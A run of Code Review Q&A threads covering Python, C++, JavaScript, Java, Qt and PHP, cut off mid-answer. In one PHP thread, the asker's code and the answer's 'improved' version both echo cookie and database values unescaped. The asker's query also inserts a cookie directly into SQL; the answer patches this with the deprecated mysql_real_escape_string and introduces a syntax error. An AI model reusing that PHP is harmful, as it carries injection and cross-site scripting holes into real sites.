Finding permutations efficiently I have the following:

A set of K time-series in a numpy array with dimensions  T x K.
A set of P permuted approximation of them in a numpy array with dimensions P times T.

I need a dictionary that tells me which is the most probable permutation. For that I've created the following function, but I would like to know if can be done in a more efficient way and with less code to do this.

def find_permutation(true, permuted):
    """
    Finds the most probable permutation of true time series in between permuted time series
    :param true: true ordered time series of shape T times X
    :param permuted: Permuted time series of shape P times T. P > K
    :return: A dict containing {true idx: permuted idx}
    """
    N = true.shape[1]
    max_comps = permuted.shape[0]

    permutation_dict = {}
    used_comps = []

    corr_matrix = np.zeros((N, max_comps))

    # Find correlations
    for i in range(N):
        for j in range(max_comps):
            corr_matrix[i, j] = np.corrcoef(true[:, i], permuted[j, :])[0, 1]

    # Find best order
    per_matrix = np.argsort(-np.abs(corr_matrix), axis=1)
    for i in range(N):
        for j in per_matrix[i, :]:
            if j in used_comps:
                continue
            else:
                permutation_dict[i] = j
                used_comps.append(j)
                break

    return permutation_dict

if __name__ == "__main__":

    import numpy as np

    a = np.array([1, 2, 3, 4.])
    b = np.array([4, 8, 9, 12.])
    c = np.array([9, 5, 8, 9.])

    true = np.vstack([a, b, c]).transpose()
    permuted = np.vstack([b*0.2, c*0.5, a*0.7])

    print(find_permutation(true, permuted))
    # {0: 2, 1: 0, 2: 1}

Here a Cython version

# C imports first
cimport numpy as np

# other imports
import numpy as np
import cython

# Type declarations
DTYPE = np.float
ctypedef np.float_t DTYPE_t

@cython.boundscheck(False)  # Deactivate bounds checking
@cython.wraparound(False)   # Deactivate negative indexing.
def find_permutation(np.ndarray[DTYPE_t, ndim=2] true, np.ndarray[DTYPE_t, ndim=2] permuted):
    """
    Finds the most probable permutation of true time series in between permuted time series
    :param true: true ordered time series of shape T times X
    :param permuted: Permuted time series of shape P times T. P > K
    :return: A dict containing {true idx: permuted idx}
    """

    cdef unsigned int N = true.shape[1]
    cdef unsigned int max_comps = permuted.shape[0]

    cdef dict permutation_dict = {}
    cdef list used_comps = []

    cdef np.ndarray[DTYPE_t, ndim=2] corr_matrix
    corr_matrix = np.zeros((N, max_comps))

    cdef Py_ssize_t i
    cdef Py_ssize_t j

    # Find correlations
    for i in range(N):
        for j in range(max_comps):
            corr_matrix[i, j] = np.corrcoef(true[:, i], permuted[j, :])[0, 1]

    # Find best order
    cdef np.ndarray[long, ndim=2] per_matrix
    per_matrix = np.argsort(-np.abs(corr_matrix), axis=1)

    for i in range(N):
        for j in per_matrix[i, :]:
            if j in used_comps:
                continue
            else:
                permutation_dict[i] = j
                used_comps.append(j)
                break

    return permutation_dict

Any suggestion is more than welcome.

Pythonic

I rewrote a few of the loops to prevent looping over the index. I also changed used_comps to a set which has O(1) containment checks. For smaller arrays this will not matter a lot, for larger ones this can make a difference.

I also moved the permutation_dict and used_comps definitions closer to the place they are used.

def find_permutation2(true, permuted):
    """
    Finds the most probable permutation of true time series in between permuted time series
    :param true: true ordered time series of shape T times X
    :param permuted: Permuted time series of shape P times T. P > K
    :return: A dict containing {true idx: permuted idx}
    """

    corr_matrix = np.zeros((true.shape[1], permuted.shape[0]))

    # Find correlations
    for i, column in enumerate(true.T):
        for j, row in enumerate(permuted):
            corr_matrix[i, j] = np.corrcoef(column, row)[0, 1]

    # Find best order
    per_matrix = np.argsort(-np.abs(corr_matrix), axis=1)

    permutation_dict = {}
    used_comps = set()
    for i, row in enumerate(per_matrix):
        for j in row:
            if j in used_comps:
                continue
            permutation_dict[i] = j
            used_comps.add(j)
            break

    return permutation_dict

numba

You can use numba, which compiles the python to llvm. I'm no expert, but I got it to work with these settings.

m_jith = numba.jit(find_permutation2, looplift=False, forceobj=True)
m_jith(true, permuted)

np.setdiff1d

You can use np.setdiff1d. This will be slower for smaller arrays, but might be faster for larger arrays.

def find_permutation3(true, permuted):
    """
    Finds the most probable permutation of true time series in between permuted time series
    :param true: true ordered time series of shape T times X
    :param permuted: Permuted time series of shape P times T. P > K
    :return: A dict containing {true idx: permuted idx}
    """

    corr_matrix = np.zeros((true.shape[1], permuted.shape[0]))

    # Find correlations
    for i, column in enumerate(true.T):
        for j, row in enumerate(permuted):
            corr_matrix[i, j] = np.corrcoef(column, row)[0, 1]

    # Find best order
    per_matrix = np.argsort(-np.abs(corr_matrix))

    permutation_dict = {}
    used_comps = set()
    for i, row in enumerate(per_matrix):
        j = np.setdiff1d(row, used_comps, assume_unique=True)[0]
        permutation_dict[i] = j
        used_comps.add(j)

    return permutation_dict

timings

All these things have very little effect on the speed of the algorithm

%timeit find_permutation(true, permuted)

950 µs ± 23.3 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)

%timeit find_permutation2(true, permuted)

978 µs ± 55.5 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)

%timeit find_permutation3(true, permuted)

1.05 ms ± 58.9 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)

%timeit find_permutation_jit(true, permuted)

1.08 ms ± 139 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)

%timeit find_permutation_cython(true, permuted)

1.06 ms ± 135 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)

But this can change with a larger dataset.

This close timing is probably because the python is not the bottleneck, but the numpy operations, most likely the corrcoef, but you'll need to do some profiling to see whether this is true.


Print sums of all subsets Print sums of all subsets of a given set

Problem summary : Print all subset sums of a given set of integers

My approach is to store previous results and use them to calculate new (similar idea as DP).

SubsetSum.cpp

#include<iostream>
#include<vector>
//using namespace std;

bool isPowerOf2 (long long x)
{
  /* First x in the below expression is for the case when x is 0 */
    return x && (!(x&(x-1)));
}

std::vector<long long> subsetSums(std::vector<int> set)
{
    long long total = 1<<set.size();    //total number of subsets = size of power set = 2^n
    std::vector<long long> sums(total, 0);
    sums[1] = set[0];
    //std::cout << sums[0] << std::endl;
    //std::cout << sums[1] << std::endl;
    int effectiveBits = 1, prevPowOf2 = 1;
    for (long long i = 2; i < total; ++i)
    {
        if (isPowerOf2(i))
        {
            ++effectiveBits;
            prevPowOf2 *= 2;
        }
        //std::cout << "e = " << effectiveBits << "\tp = " << prevPowOf2 << std::endl;

        sums[i] = set[effectiveBits-1] + sums[i-prevPowOf2];
        //std::cout << sums[i] << "\n";
    }

    return sums;
}

// Driver code
int main()
{
    std::vector<int> set = {5, 4, 3};

    std::vector<long long> sumsOfAllSubsets = subsetSums(set);
    for (auto sum : sumsOfAllSubsets)
        std::cout << sum << "\n";
    return 0;
}

You can find the code on Github Gist and compilation result at OnlineGdb.

Along with code, please also comment on the algorithm itself.
Is it advisable to store previous result in practice (since it takes 2^n space)?
Also, is there any scope of improving time or space without trading-off the other?

Preface

This is great code.  Your solution is more than \$10^{42}\$ times nicer than the given solutions on the linked page that promote crap like #include <bits/stdc++.h>.  You are already much better than them in this regard.

The algorithm

Making use of the STL, your algorithm can be simplified like this:

std::vector<long long> subsetSums(const std::vector<int>& set)
{
    std::vector<long long> subset_sums{0};
    subset_sums.reserve(std::size_t(1) << set.size()); // to prevent iterator invalidation
    for (int num : set)
        std::transform(subset_sums.begin(), subset_sums.end(),
                       std::back_inserter(subset_sums),
                       [=](number_t prev_sum){ return prev_sum + num; });
    return subset_sums;
}

(You need #include <algorithm> for std::transform and #include <iterator> for std::back_inserter)  Here, we first push 0 to the list of sums.  Then, for each element \$x\$, we add \$x\$ to the previous sums and push these new sums.  Therefore:

The initial list of sums is {0}.
For the first element 5, the list becomes {0, 5}, where 5 = 0 + 5.
For the second element 4, the list becomes {0, 5, 4, 9}, where {4, 9} = {0, 5} + 4.
For the third element 3, the list becomes {0, 5, 4, 9, 3, 8, 7, 12}, where {3, 8, 7, 12} = {0, 5, 4, 9} + 3.

Miscellaneous

The common practice is to put a space between #include and the header name, as in #include <iostream>.  And simply delete using namespace std; rather than commenting it out to show you are following good practice :)

You use int for the original numbers, and long long for the sums.  Don't mix different data types.  Write a type alias like

using number_t = long long;

And use it consistently throughout your code.  This makes it clear what these types are used for.

i should really be of an unsigned type.  And isPowerOf2 should also operate on an unsigned type.  The isPowerOf2 function can be made constexpr.  And I prefer a looser layout with more spaces and less parentheses:

constexpr bool isPowerOf2(std::size_t x)
{
  /* First x in the below expression is for the case when x is 0 */
    return x && !(x & (x - 1));
}

1 << set.size() potentially overflows.  std::size_t(1) << set.size() is better.  For me, it may be better to extract a function and check for overflow:

// returns 2^n
template <typename T, std::enable_if_t<std::is_integral_v<T> && is_unsigned_v<T>, int> = 0>
constexpr T power2(T n)
{
    assert(n < std::numeric_limits<T>::digits);
    return T(1) << n;
}

Passing a std::vector by value may cause unnecessary copies.  Pass by const reference instead.

return 0; can be omitted for the main function.

The future

C++20 provides us with bit manipulation utilities.  We can replace isPowerOf2(i) with std::ispow2(i) (after you make i unsigned).  The aforementioned power2 function can also be improved with concepts:

// returns 2^n
template <std::UnsignedIntegral T>
constexpr T power2(T n)
{
    assert(n < std::numeric_limits<T>::digits);
    return T(1) << n;
}

The algorithm can also be simplified with the Ranges library and std::bind_front:

std::vector<number_t> subsetSums(const std::vector<number_t>& set)
{
    std::vector<number_t> subset_sums{0};
    subset_sums.reserve(std::size_t(1) << set.size());
    for (int num : set)
        ranges::push_back(subset_sums,
            subset_sums | ranges::view::transform(std::bind_front(ranges::plus, num)));
    return subset_sums;
}


Are all these steps necessary with prepared statement? Are all these steps correct and necessary?

<?php
if (isset($_SESSION['userID'])) {
    $userID = $_SESSION['userID'];
    $stmt = $mysqli->prepare(
       "SELECT usergroup, firstname FROM tbl_users WHERE userID = ? ");
    $stmt->bind_param('i', $userID);
    $stmt->execute();
    $stmt->store_result();
    $stmt->bind_result($usergroup, $firstname);
    $stmt->fetch();
    $_SESSION['usergroup'] = $usergroup;
    $_SESSION['firstname'] = $firstname;
    $stmt->close();
}
?>

More or less, they are... I was using get_result and fetching object more often, but if you want to have the results bound directly to variables, your code is what you need.

By the way, consider using some ORM. I'm using Doctrine2 for my PHP stuff and I'm very satisfied with it


Dispatch events in JavaScript I needed a simple and efficient way to use events in my JavaScript code, so I came up with a small event library.

Currently, I'm doing it like this:

// eva.js - The lightweight es6 event library.
var eva = (() => {
  // Prepare local globals
  var eva = {};
  var receivers = [];
  var gid = 0;
  /**
   * Verify the type of a parameter.
   * Throw if the type does not match the expected type.
   * @param {object} item - The argument itself
   * @param {string} name - The name of the argument
   * @param {string} expected - The expected type
   */
  var verifyType = (item, name, expected) => {
    if (typeof (item) !== expected) {
      throw "Argument '" + name + "' has to be of type '" + expected + "'.";
    }
  }
  /**
   * Subscribe to an event.
   * @param {string} name - The name of the event
   * @param {function} action - The event action
   * @returns {number} - The subscription identifier
   */
  var subscribe = (name, action) => {
    verifyType(name, 'name', 'string');
    verifyType(action, 'action', 'function');
    receivers.push({name: name, action: action, id: gid});
    return gid++;
  }
  /**
   * Unsubscribe from an event.
   * @param {number} id - The subscription identifier
   * @returns {boolean} - Whether the subscription has been removed
   */
  var unsubscribe = id => {
    verifyType(id, 'id', 'number');
    var result = false;
    receivers.every((item, index, arr) => {
      if (item['id'] === id) {
        arr.splice(index, 1);
        result = true;
      }
      return !result;
    });
    return result;
  }
  /**
   * Dispatch an event.
   * @param {string} name - The name of the event
   * @param {object} e - The event data
   */
  var dispatch = (name, e) => {
    verifyType(name, 'name', 'string');
    receivers
      .filter(item => name === item['name'])
      .forEach(item => item['action']({event: name, data: e}));
  };
  /**
   * List all receivers.
   * @returns {array} - The receivers
   */
  var list = () => receivers;
  /**
   * Clear all receivers.
   */
  var clear = () => {
    receivers.length = 0;
  };
  // Make functions accessible
  eva.subscribe = subscribe;
  eva.unsubscribe = unsubscribe;
  eva.dispatch = dispatch;
  eva.clear = clear;
  eva.list = list;
  // Return eva object
  return eva;
}());
module.exports = eva;

Since I usually don't write JavaScript code and don't know any best practices and quirks of that language, constructive criticism would be greatly appreciated.

It's not bad, though there are some things I'd do different.

Firstly, I'd use a map of arrays for receivers. Doesn't have to be a Map instance, a simple object literal will do. For instance, subscribe would look like this:

var receivers = {};

var subscribe = (name, callback) => {
  if(typeof callback === 'function') {
    receivers[name] = (receivers[name] || []);
    receivers[name].push(callback);
  } else {
    throw new TypeError("callback must be a function");
  }
}

This makes it simple to dispatch events:

var dispatch = (name, data) => {
  receivers[name].forEach(receiver => receiver({name: name, data: data}));
}

Secondly, I wouldn't use rely on a gid value to track receivers; I'd use the receiver itself. It eliminates needing to track multiple IDs if one function is subscribing to multiple events, and it makes the sub/unsub functions "symmetrical": All you need is an event name and a function.

function someHandler() { ... }

eva.subscribe('someEvent', someHandler);
eva.unsubscribe('someEvent', someHandler);

To achieve this, unsubscribe could look like:

var unsubscribe = (name, callback) => {
  if(receivers[name]) {
    receivers[name] = receivers[name].filter((receiver) => receiver !== callback);
  }
}

Also, one important note: Your list function returns a reference to the receivers array. I don't know if this is intended, but it does mean, that you'd be modify the otherwise-"private" array. For instance, saying eva.list().push("foobar") will cause problems, because it sidesteps all you type-checking, and adds something to the array that your code isn't expecting.

Frankly, I don't know how useful the list function is to begin with, but in your current code, you could halfway fix the issue by simply calling slice() on the receivers array. That'll create a copy, and return that instead:

var list = () => receivers.slice();

However, the contents of the copied array will be references to the same objects that are in "private" receivers array, so you cause mischief:

eva.list()[0].action = "foobar"; // obviously not a proper callback

You could spend the time doing a deep clone of everything, but... eh.

Again, simpler to let the array only contain functions. Even if they're returned as references in a copied array, it's harder to accidentally break things.

If you use an object/map to hold the receivers as I suggest above, you do have to do some more complex cloning to return it safely (although the arrays it contains can be copied safely with slice). However, I'd just scope everything in the API to a name, including list and clear:

var list = (name) => receivers[name] ? receivers[name].slice() : [];

var clear = (name) => receivers[name] = [];

If you want to could add a method to return all registered event names by using Object.keys(receivers).

You'll note that I haven't bothered much with type-checking. Only when subscribing do I check that the callback is actually a function. But name arguments? Don't really care.

Type-checking isn't super necessary in JS. Often it really doesn't matter due to type coercion, or you explicitly cast/parse if you need to. Other times it's just simpler to say "garbage in, garbage out": If someone really wants to use a float as an event name, let them. And let them sort it out, if things don't work. This is what I usually lean toward. Since JS isn't strictly typed (and sometimes plain weird), the effort spent implementing your own type-checking could be spent better elsewhere.

All together, minus comments:

var eva = (() => {
  var receivers = {};

  var subscribe = (name, callback) => {
    if(typeof callback === 'function') {
      receivers[name] = (receivers[name] || []);
      receivers[name].push(callback);
    } else {
      throw new TypeError("callback must be a function");
    }
  }

  var unsubscribe = (name, callback) => {
    if(receivers[name]) {
      receivers[name] = receivers[name].filter((receiver) => receiver !== callback);
    }
  }

  var dispatch = (name, data) => {
    receivers[name].forEach(receiver => receiver({name: name, data: data}));
  }

  var list = (name) => receivers[name] ? receivers[name].slice() : [];

  var clear = (name) => receivers[name] = [];

  return {
    subscribe: subscribe,
    unsubscribe: unsubscribe,
    dispatch: dispatch,
    list: list,
    clear: clear
  };
}());


Find amounts that cannot be composed using the given coins I need to make a program that receives a set of currencies and tests which values between 1 and 10,000 units can not be produced with these currencies.

The program must have 2 input data:

  The number n of existing coin values, with n between 1 and 10.
  The values a1, a2, ..., an of these currencies.

The program should read this data and determine how many values between 1 and 10000 currency units can not be achieved using these currencies.

For example, if we wanted to provide the data on some existing currencies we would have the following entry:

  1

  5

  10

  25

  50

  100

Of course, since this system supplies one cent, all values can be obtained.

I would like to know how I can improve the performance of my code or some part that is poorly written.

import java.sql.Date;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.Vector;

public class CoinChallange {

    private static int [] coins = {5, 11, 13, 23, 29};
    private static int [] numbers;
    private static int [] quantity = { 0, 0, 0, 0, 0};
    private static int i, n, a, b, c, d, e, sum;

    public static void main(String[] args)
    {

        long start = System.currentTimeMillis();

        numbers = new int[10001];
        i = 0;

        for (n = 0; n <= 10000; n++) {
            numbers[n] = n;
        }

        for ( quantity[0] = 0; quantity[ 0 ] <= 2000; quantity[0]++ ) {
            for ( quantity[1] = 0; quantity[ 1 ] <= 2000; quantity[1]++ ) {
                for ( quantity[2] = 0; quantity[ 2 ] <= 2000; quantity[2]++ ) {
                    for ( quantity[3] = 0; quantity[ 3 ] <= 2000; quantity[3]++ ) {
                        for ( quantity[4] = 0; quantity[ 4 ] <= 2000; quantity[4]++ ) {
                            System.out.println( " " + quantity[0] + " " + quantity[1] + " " + quantity[2] + " " + quantity[3] + " " + quantity[4] );
                            sum = quantity[0]*coins[0]+
                                   quantity[1]*coins[1]+
                                   quantity[2]*coins[2]+
                                   quantity[3]*coins[3]+
                                   quantity[4]*coins[4];
                            if ( sum <= 10000 ) {
                                numbers[ sum ] = -1;
                            }
                        }
                    }
                }
            }
        }

        for (n = 1; n <= 10000; n++) {
            if ( numbers[n] > 0 ) {
                System.out.println( numbers[n] );
            }
        }

        long end  = System.currentTimeMillis();
        System.out.println(new SimpleDateFormat("ss.SSS").format(new Date(end - start)));

    }

}

I get to the right result, but it is taking a long time, I believe my logic is very bad.

Your code looks frighteningly slow because of the 5 nested for loops, and indeed it is.

To find an efficient algorithm, you should switch off the computer, take out a sheet of paper and solve the following task on paper:

  Given an infinite amount of coins labelled 5, 7, 16, which amounts between 1 and 100 can be composed?

While you solve that task, ask yourself in every step:

what am I doing?
why do I do this?
what do I want to achieve?
can I formulate a general rule for this that sounds reasonable, appropriate for the task?

Your current code counts up to 2000 several times. In this manual task there is no point counting up to 2000. This alone makes your algorithm more specialized than it needs to.

Essentially your code should be defined in a function like this:

/**
 * @return the amounts between min and max that are <i>not</i> composable
 * from an infinite supply of coins of the given values.
 */
public static BitSet uncomposable(int min, int max, List<Integer> coinValues) {
    …
}

In that code, neither the number 100 nor 10000 nor 2000 must appear.
There should be at most 2 nested loops.
How exactly the code looks like depends on how you solved the task on paper.
I'm sure you won't choose a time-consuming algorithm when having to do this task manually.

Bonus question: is there a limit beyond which all amounts are composable? That could be used to stop the computation early, which is a nice optimization. Try with these test cases:

{1}: the limit is 0, obviously
{2}: there's no limit since only even numbers are covered
{2, 4, 6}: …
{3, 5}: …
{1, 7, 14}: …


C++ with Qt - Conversion of angle in radians to DDD°MM′SS.FFF″ string I had to write a function which takes an angle in radians and precision N as input and returns a string representation of its magnitude in the format DDD°MM′SS.FFF″ where FFF is fraction of the second N decimal digits long.

As conversion of a floating-point binary number to a decimal string can be tricky, I've decided to not reinvent any wheels for generation of the .FFF part, and instead use some existing ones like QString::number. Here's the code I've written:

#include <QString>
#include <QStringList>
#include <cmath>
#include <cassert>

QString angleMagnitudeToString(double angleInRad, int precision)
{
    const auto angleInDeg = std::abs(angleInRad*180/M_PI);
    auto degrees = static_cast<int>(angleInDeg);
    auto minutes = static_cast<int>((angleInDeg-degrees)*60);
    const auto seconds = ((angleInDeg-degrees)*60-minutes)*60;

    const auto secStr = QString::number(seconds, 'f', precision);
    auto secStrIntAndFrac = secStr.split('.');
    if(precision==0)
        assert(secStrIntAndFrac.size()==1);
    else
        assert(secStrIntAndFrac.size()==2);

    // Rounding on converison to string may have resulted in 60 seconds, which should be carried to minutes
    if(secStrIntAndFrac[0]=="60")
    {
        secStrIntAndFrac[0]="0";
        ++minutes;
    }
    // Carry to minutes may have resulted in 60 minutes, which should be carried to degrees
    if(minutes==60)
    {
        minutes=0;
        ++degrees;
    }

    const auto intSecStr  = secStrIntAndFrac[0].rightJustified(2, '0');
    const auto fracSecStr = precision==0 ? "" : "."+secStrIntAndFrac[1];

    return QString::fromUtf8(u8"%1°%2′%3″")
                  .arg(degrees, 3, 10, QChar('0'))
                  .arg(minutes, 2, 10, QChar('0'))
                  .arg(intSecStr+fracSecStr);
}

The code seems kludgy due to the fact that I had to "manually" process the possible carry from the seconds to minutes to degrees, but I couldn't find any better way.

Nice code - easy to read and well laid out.  No surprises in the code, apart from the need to clear up the carry from seconds to minutes etc.

Some small improvements:

Although M_PI is in POSIX, if you want to be properly portable, you'll want to define your own π, perhaps as 4*std::atan(1.);
You might help the compiler to hoist the value of 180/PI if you re-write the multiplication as angleInRad*(180/PI) or 180/PI*angleInRad.
There's no checking that the degrees value is in range of int when casting.
It might make more sense to represent the angle in seconds or minutes rather than degrees (compromising the range in exchange for easier handling of the modular arithmetic).

My version

#include <QString>

#include <climits>
#include <cmath>

QString radians_to_dms(double radians, int precision)
{
    static const double PI = 4*std::atan(1.);

    if (std::abs(radians) > ULONG_MAX*PI/180/60)
        // out of range
        return "---";

    const auto total_minutes = std::abs(radians*(60*180/PI));
    auto whole_minutes = static_cast<int>(total_minutes);
    auto seconds = 60 * (total_minutes - whole_minutes);

    auto secStr = QString::number(seconds, 'f', precision);
    if (secStr.startsWith("60")) {
        // it rounds up - carry to minutes
        secStr = QString::number(0.0, 'f', precision);
        whole_minutes += 1;
    } else if (secStr.startsWith('-')) {
        // negative zero - shouldn't happen
        secStr = QString::number(0.0, 'f', precision);
    }
    if (secStr.size() < 2 || secStr[1] == '.')
        // zero-fill
        secStr.prepend('0');

    return QString::fromUtf8(u8"%1%2°%3′%4″")
        .arg(radians < 0 ? "-" : "")
        .arg(whole_minutes / 60, 3, 10, QChar('0'))
        .arg(whole_minutes % 60, 2, 10, QChar('0'))
        .arg(secStr);
}

#include <QDebug>
int main()
{
    for (double a: { -0.0, -3.1415926535897932384, 1.0,
                     59.999996/3600*4*std::atan(1.)/180,
                     1. * ULONG_MAX})
        qDebug() << a << " = " << qPrintable(radians_to_dms(a, 5));

    const double step = .000142857;
    for (double a = 0;  a < 10*step;  a+= step)
        qDebug() << a << " = " << qPrintable(radians_to_dms(a, 5));
}

I get reasonable output from the test cases:

0  =  000°00′00.00000″
-3.14159  =  -180°00′00.00000″
1  =  057°17′44.80625″
0.000290888  =  000°01′00.00000″
1.84467e+19  =  ---
0  =  000°00′00.00000″
0.000142857  =  000°00′29.46637″
0.000285714  =  000°00′58.93274″
0.000428571  =  000°01′28.39911″
0.000571428  =  000°01′57.86549″
0.000714285  =  000°02′27.33186″
0.000857142  =  000°02′56.79823″
0.000999999  =  000°03′26.26460″
0.00114286  =  000°03′55.73097″
0.00128571  =  000°04′25.19734″
0.00142857  =  000°04′54.66371″

I'm not sure whether it's much improvement over the original, but I hope it gives you some ideas.


Need unique url but require non unique information from other columns I am making a review system and I need to be able to only select the DISTINCT url from the database, but then pull the relevant page title and rating time. I have managed to get it working by using:

<?php
//opens conection
include 'conn.php';

echo $_COOKIE["search"];

$sql = "SELECT * FROM feedback WHERE url LIKE '%$_COOKIE[search]%' GROUP BY url ORDER   BY ratingtime DESC";

//runs the query
$query = mysql_query($sql);
$linecount = 1;

//populates the table with the information
echo '
';
echo'

      URL
      Page Title
      Date Last Modified
      Average Rating

';
echo '
';
echo '
';

while($row = mysql_fetch_array($query))
{
  echo '' .$row['url']. '	';
  echo '' . $row['pagetitle'] . '	';
  echo '' . $row['ratingtime'] . '	';

  $check = mysql_query("SELECT `rating` FROM feedback WHERE url = '$row[url]'");
  $totalvotes = mysql_num_rows($check);
  $result = mysql_query("SELECT SUM(rating) AS 'rating_total' FROM feedback WHERE url = '$row[url]'") or die(mysql_error());
  $row = mysql_fetch_assoc($result);
  $add = $row['rating_total'];
  $average = $add / $totalvotes;

  echo '' .round($average, 2). '	';
  echo '
';

  $linecount++;
}

echo '
';
echo "
";
?>

I just wondered if there was a much better way to go about doing this?
I am a complete noob when it come to php so if you provide any advice could you please provide evidence/documentation so that I can read up on it and learn.

I would do it like this

<?php
#opens conection
include 'conn.php';

echo $_COOKIE["search"];

$search = mysql_real_escape_string($_COOKIE[search]);
$sql    = "SELECT * FROM feedback WHERE url LIKE '%{$search}%' GROUP BY url ORDER BY ratingtime DESC";
#runs the query
$query = mysql_query($sql);
$linecount = 1;

#populates the table with the information
echo '
';
echo '

          URL
          Page Title
          Date Last Modified
          Average Rating

';

while($row = mysql_fetch_array($query)){

        $sqlurl = mysql_real_escape_string($row['url']);

        $feedback_query = mysql_query("SELECT SUM(`rating ) / COUNT(`rating`) AS avg_rating FROM feedback WHERE url = '{$sqlurl}'");
        $feedback       = mysql_fetch_assoc($feedback_query);

        $encodedurl = urlencode($row['url']);

        echo "

                {$row['url']}
                {$row['pagetitle']}
                {$row['ratingtime']}
                ".round($feedback['avg_rating'], 2)."

";
        $linecount++;
}

echo '

';
?>

If improved your query to get the Avg. Rating and added mysql_real_escape_string to prevent the mysql injection vulnerability.


Object-oriented JavaScript and Google Maps objects memory management I have to draw various instances of HeatMaps, Winds and Polylines. Each layer will have one HeatMap, 1000+ Wind arrows and 3000+ Polylines.

The websocket pushes the data into the mapData structure where the data is stored for later manipulation of objects.

Each layer takes around 400MB of memory. Since I have to draw multiple layers of the object, I need to delete and release the memory of each object created.

Here's my deleting function, deleteMapLayer():

this.mapData.deleteMapLayer = function deleteMapLayer() {

for (var index in self.mapData.wind.data) {
    self.mapData.wind.data[index].setMap(null);
}

self.mapData.wind.data = null;
delete self.mapData.wind.data;

self.mapData.wind = null;
delete self.mapData.wind;

self.mapData.alarm.heatMapInstance.setMap(null);

self.mapData.alarm.data = null;
delete self.mapData.alarm.data;

self.mapData.alarm = null;
delete self.mapData.alarm;

for (var index in self.mapData.gasConcentration.data) {
    self.mapData.gasConcentration.data[index]
        .setMap(null);
}

self.mapData.gasConcentration.data = null;
delete self.mapData.gasConcentration.data;

self.mapData.gasConcentration = null;
delete self.mapData.gasConcentration;

};

Theory
Fist of all check this article about memory management, it will help to find leaks if any.
Look closer at this part

Limitation: cycles
There is a limitation when it comes to cycles. In the following example two objects are created and reference one another – thus creating a cycle. They will not get out of the function scope after the function call, so they are effectively useless and could be free'd. However, the reference-counting algorithm considers that since each of both object is referenced at least once and none can be garbage-collected.

Also

Mark-and-sweep algorithm
This algorithm reduces the definition of "an object is not needed anymore" to "an object is unreachable".
This algorithm assumes the knowledge of a set of objects called roots (In JavaScript, the root is the global object). Periodically, the garbage-collector will start from these roots, find all objects that are referenced from these roots, then all objects referenced from these, etc. Starting from the roots, the garbage collector will thus find all reachable objects and collect all non-reachable objects.
This algorithm is better than the previous one since "an object has zero reference" leads to this object being unreachable. The opposite is not true as we have seen with cycles.

Second quote sad that it is enough to be unreachable from so called roots objects to be collected with garbage collection.
So if you follow all recommendation and memory still leaks, than there is one of problems:

library you are using not release objects
garbage collector has not started (I mean it has some timeout when to collect objects)

Garbage timeout
Look at dummy example of garbage timeout at fiddle. I'm creating array of 30M elements of int, that are binded to root object - window.
window.data = [];
for (var i = 0; i < 30*1000*1000; i++)
    window.data.push(i);

Then on click, i'm releasing this object
function onDelete(event) { window.data = null; }

But, memory get free only after 3 minutes in my Google Chrome 43.0.2357.125 (64-bit). I was looking in htop, so chrome could free objects instantly, but return to system only after 3 minutes.
Profiling
If everything looks impossible, you can always try experimental way, using profiling. There is awesome article about profiling in Google Chrome also Firefox Developer Tools.
I have applied chrome heap profiles for my example, and it says that data object doesn't exist in window scope any more after pressing "delete" button.
Hopes it will help.


Finding nearest points and points within a radius I have implemented the following two methods which are described in 1. and 2..

Is there another better simpler way to implements those methods?

  A static method, nearestPoint , accepts an array of points (objects of type Point ) and one point (an object of type Point),
  and returns that point in the array which is closest to the given
  point. Create that method.
  A circle in the plane, with radius \$r\$ and midpoint at the origin, is given by the following equation: \$x^2 + y^2 = r^2\$

  A static method, internalPoints , accepts an array of points (objects
  of type Point) and the radius of a circle, and returns those points
  (in an array) that are inside the given circle. Create that method.
  Create an array of points (objects of type Point) and a point (an object of type Point). Establish also the radius of the circle.
  Use the method nearestPoint to determine the point in the array that
  is closest to the given point. Then use the method internalPoints to
  determine the points that are inside the circle.

public class Point {
// the coordinates of the point
private double x;
private double y;

public Point(double x, double y) {
    this.x = x;
    this.y = y;
}

public double getX() {
    return this.x;
}

public double getY() {
    return this.y;
}

// distance returns the distance between this point and a given point
public double distance(Point p) {
    return Math.sqrt((p.x - this.x) * (p.x - this.x) +
            (p.y - this.y) * (p.y - this.y));
}

public String toString() {
    String s = "";
    //for (int i = 0; i < s.length(); i++) {
    s = "(" + this.getX() + "," + this.getY() + ")";

    return s;
}

public static Point nearestPoint(Point[] points, Point point) {
    Point p = points[0];
    for (int i = 0; i < points.length; i++) {
        if (points[i].distance(point) < p.distance(point)) {
            p = points[i];
        }
    }
    return p;
}

public static Point[] internalPoints(Point[] points, double radius) {

    int countPoints = 0;
    for (int i = 0; i < points.length; i++) {
        double xp = points[i].getX();
        double yp = points[i].getY();
        // points are inside the circle if d^2 <= r^2
        // d^2 = (Xp-Xc)^2 + (Yp-Yc)^2
        // Xp and Yp is the point that should be checked
        // Xc and Xc is the point center (orgin)
        // Xc and Yc are 0 you end up with d^2 = (Xp-Xc)^2 + (Yp-Yc)^2
        if (xp * xp + yp * yp <= radius * radius) {
            countPoints++;
        }
    }
    int companionVar = 0;
    Point[] pointsInside = new Point[countPoints];
    for (int j = 0; j < countPoints; j++) {
        pointsInside[companionVar] = points[j];
        companionVar++;
    }
    return pointsInside;

}

public static void main(String[] args) {
    Point[] points = {new Point(1, 2),
            new Point(2, 3),
            new Point(5, 2)};
    new Point(12, 13); // points outside the circle
    Point point = new Point(1, 1);
    double r = 7;
    Point nearestPoint = nearestPoint(points, point);
    Point[] internalPoints = internalPoints(points, 7);

    System.out.println(nearestPoint + "   " + Arrays.toString(internalPoints));
}

}

Bug

The internalPoints method has a bug:
you count the number of points that fall within the radius,
but then, instead of adding those points in the output array,
you take the first N points of the input array,
some of which may not be within the radius.
Try for example with this input:

Point[] points = {
        new Point(1, 2),
        new Point(19, 29),
        new Point(2, 3),
        new Point(5, 2)
};

Comparing distances

Do you really need to compare \$\sqrt{dx^2 + dy^2}\$ ?
Computing the square root can be expensive,
and comparing \$dx^2 + dy^2\$ would be enough.

public double dsquare(Point p) {
    double dx = p.x - this.x;
    double dy = p.y - this.y;
    return dx * dx + dy * dy;
}

Finding the nearest point

In this loop, the distance between point and the nearest point may be repeatedly recalculated:

Point p = points[0];
for (int i = 0; i < points.length; i++) {
